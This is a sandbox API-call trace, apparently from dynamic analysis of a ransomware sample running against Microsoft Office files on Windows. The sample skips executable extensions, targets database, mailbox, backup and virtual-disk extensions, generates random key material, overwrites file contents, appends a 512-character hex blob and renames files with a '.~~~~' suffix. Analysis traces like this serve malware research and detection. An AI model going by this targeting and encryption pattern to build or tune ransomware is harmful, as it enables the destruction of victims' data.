	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".edb") returned 0x0
	[0144.821] lstrlenW (lpString=".PST") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".PST") returned 0x0
	[0144.821] lstrlenW (lpString=".dbf") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dbf") returned 0x0
	[0144.821] lstrlenW (lpString=".SQL") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".SQL") returned 0x0
	[0144.821] lstrlenW (lpString=".pst") returned 4
	[0144.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".pst") returned 0x0
	[0144.822] lstrlenW (lpString=".dbv") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dbv") returned 0x0
	[0144.822] lstrlenW (lpString=".SDF") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".SDF") returned 0x0
	[0144.822] lstrlenW (lpString=".dtxs") returned 5
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dtxs") returned 0x0
	[0144.822] lstrlenW (lpString=".db3") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".db3") returned 0x0
	[0144.822] lstrlenW (lpString=".OST") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".OST") returned 0x0
	[0144.822] lstrlenW (lpString=".dbx") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dbx") returned 0x0
	[0144.822] lstrlenW (lpString=".DB3") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DB3") returned 0x0
	[0144.822] lstrlenW (lpString=".DAT") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DAT") returned 0x0
	[0144.822] lstrlenW (lpString=".VHDX") returned 5
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".VHDX") returned 0x0
	[0144.822] lstrlenW (lpString=".ndf") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".ndf") returned 0x0
	[0144.822] lstrlenW (lpString=".DB") returned 3
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DB") returned 0x0
	[0144.822] lstrlenW (lpString=".sql") returned 4
	[0144.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".sql") returned 0x0
	[0144.822] lstrlenW (lpString=".MYD") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".MYD") returned 0x0
	[0144.823] lstrlenW (lpString=".DBT") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DBT") returned 0x0
	[0144.823] lstrlenW (lpString=".ACCDB") returned 6
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.823] lstrlenW (lpString=".fdb") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".fdb") returned 0x0
	[0144.823] lstrlenW (lpString=".bak") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".bak") returned 0x0
	[0144.823] lstrlenW (lpString=".myd") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".myd") returned 0x0
	[0144.823] lstrlenW (lpString=".DTXS") returned 5
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".DTXS") returned 0x0
	[0144.823] lstrlenW (lpString=".ckp") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".ckp") returned 0x0
	[0144.823] lstrlenW (lpString=".dbt") returned 4
	[0144.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".dbt") returned 0x0
	[0144.824] lstrlenW (lpString=".db") returned 3
	[0144.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".db") returned 0x0
	[0144.824] lstrlenW (lpString=".TXT") returned 4
	[0144.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".TXT") returned 0x0
	[0144.824] lstrlenW (lpString=".MDF") returned 4
	[0144.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".MDF") returned 0x0
	[0144.824] lstrlenW (lpString=".bdb") returned 4
	[0144.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".bdb") returned 0x0
	[0144.824] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.824] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395960) returned 1
	[0144.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.825] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0144.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.826] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26481577908) returned 1
	[0144.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbfbb3870, dwHighDateTime=0x1d60e1e)) 
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc50
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc50 | out: hHeap=0x300000) returned 1
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.827] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.827] GetLastError () returned 0x0
	[0144.827] GetLastError () returned 0x0
	[0144.827] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.827] GetLastError () returned 0x0
	[0144.827] GetLastError () returned 0x0
	[0144.828] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.832] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.832] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.834] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.834] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.836] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.836] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.836] CloseHandle (hObject=0x10c) returned 1
	[0144.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.837] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.~~~~")) returned 1
	[0144.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.840] GetLastError () returned 0x0
	[0144.840] RtlWakeConditionVariable () returned 0x0
	[0144.840] GetCurrentThreadId () returned 0xaf0
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".scr") returned 0x0
	[0144.841] lstrlenW (lpString=".cmd") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0144.841] lstrlenW (lpString=".dll") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dll") returned 0x0
	[0144.841] lstrlenW (lpString=".bat") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".bat") returned 0x0
	[0144.841] lstrlenW (lpString=".cpl") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0144.841] lstrlenW (lpString=".sys") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".sys") returned 0x0
	[0144.841] lstrlenW (lpString=".msc") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".msc") returned 0x0
	[0144.841] lstrlenW (lpString=".com") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".com") returned 0x0
	[0144.841] lstrlenW (lpString=".lnk") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0144.841] lstrlenW (lpString=".msp") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".msp") returned 0x0
	[0144.841] lstrlenW (lpString=".pif") returned 4
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".pif") returned 0x0
	[0144.841] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.844] lstrlenW (lpString=".sqb") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0144.844] lstrlenW (lpString=".ost") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".ost") returned 0x0
	[0144.844] lstrlenW (lpString=".txt") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".txt") returned 0x0
	[0144.844] lstrlenW (lpString=".mdt") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0144.844] lstrlenW (lpString=".BDB") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0144.844] lstrlenW (lpString=".eql") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".eql") returned 0x0
	[0144.844] lstrlenW (lpString=".DBF") returned 4
	[0144.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0144.845] lstrlenW (lpString=".EQL") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0144.845] lstrlenW (lpString=".FDB") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0144.845] lstrlenW (lpString=".EDB") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0144.845] lstrlenW (lpString=".DACPAC") returned 7
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0144.845] lstrlenW (lpString=".VHD") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0144.845] lstrlenW (lpString=".DBV") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0144.845] lstrlenW (lpString=".dacpac") returned 7
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0144.845] lstrlenW (lpString=".sdf") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0144.845] lstrlenW (lpString=".accdb") returned 6
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0144.845] lstrlenW (lpString=".DBX") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0144.845] lstrlenW (lpString=".MDT") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0144.845] lstrlenW (lpString=".SQB") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0144.845] lstrlenW (lpString=".vhd") returned 4
	[0144.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0144.845] lstrlenW (lpString=".bac") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".bac") returned 0x0
	[0144.846] lstrlenW (lpString=".mdf") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0144.846] lstrlenW (lpString=".BAK") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0144.846] lstrlenW (lpString=".BAC") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0144.846] lstrlenW (lpString=".dbs") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0144.846] lstrlenW (lpString=".vhdx") returned 5
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0144.846] lstrlenW (lpString=".NDF") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0144.846] lstrlenW (lpString=".dat") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dat") returned 0x0
	[0144.846] lstrlenW (lpString=".DBS") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0144.846] lstrlenW (lpString=".CKP") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0144.846] lstrlenW (lpString=".edb") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".edb") returned 0x0
	[0144.846] lstrlenW (lpString=".PST") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".PST") returned 0x0
	[0144.846] lstrlenW (lpString=".dbf") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0144.846] lstrlenW (lpString=".SQL") returned 4
	[0144.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0144.846] lstrlenW (lpString=".pst") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".pst") returned 0x0
	[0144.847] lstrlenW (lpString=".dbv") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0144.847] lstrlenW (lpString=".SDF") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0144.847] lstrlenW (lpString=".dtxs") returned 5
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0144.847] lstrlenW (lpString=".db3") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".db3") returned 0x0
	[0144.847] lstrlenW (lpString=".OST") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".OST") returned 0x0
	[0144.847] lstrlenW (lpString=".dbx") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0144.847] lstrlenW (lpString=".DB3") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0144.847] lstrlenW (lpString=".DAT") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0144.847] lstrlenW (lpString=".VHDX") returned 5
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0144.847] lstrlenW (lpString=".ndf") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0144.847] lstrlenW (lpString=".DB") returned 3
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DB") returned 0x0
	[0144.847] lstrlenW (lpString=".sql") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".sql") returned 0x0
	[0144.847] lstrlenW (lpString=".MYD") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0144.847] lstrlenW (lpString=".DBT") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0144.847] lstrlenW (lpString=".ACCDB") returned 6
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0144.847] lstrlenW (lpString=".fdb") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0144.847] lstrlenW (lpString=".bak") returned 4
	[0144.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".bak") returned 0x0
	[0144.847] lstrlenW (lpString=".myd") returned 4
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".myd") returned 0x0
	[0144.848] lstrlenW (lpString=".DTXS") returned 5
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0144.848] lstrlenW (lpString=".ckp") returned 4
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0144.848] lstrlenW (lpString=".dbt") returned 4
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0144.848] lstrlenW (lpString=".db") returned 3
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".db") returned 0x0
	[0144.848] lstrlenW (lpString=".TXT") returned 4
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0144.848] lstrlenW (lpString=".MDF") returned 4
	[0144.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0144.848] lstrlenW (lpString=".bdb") returned 4
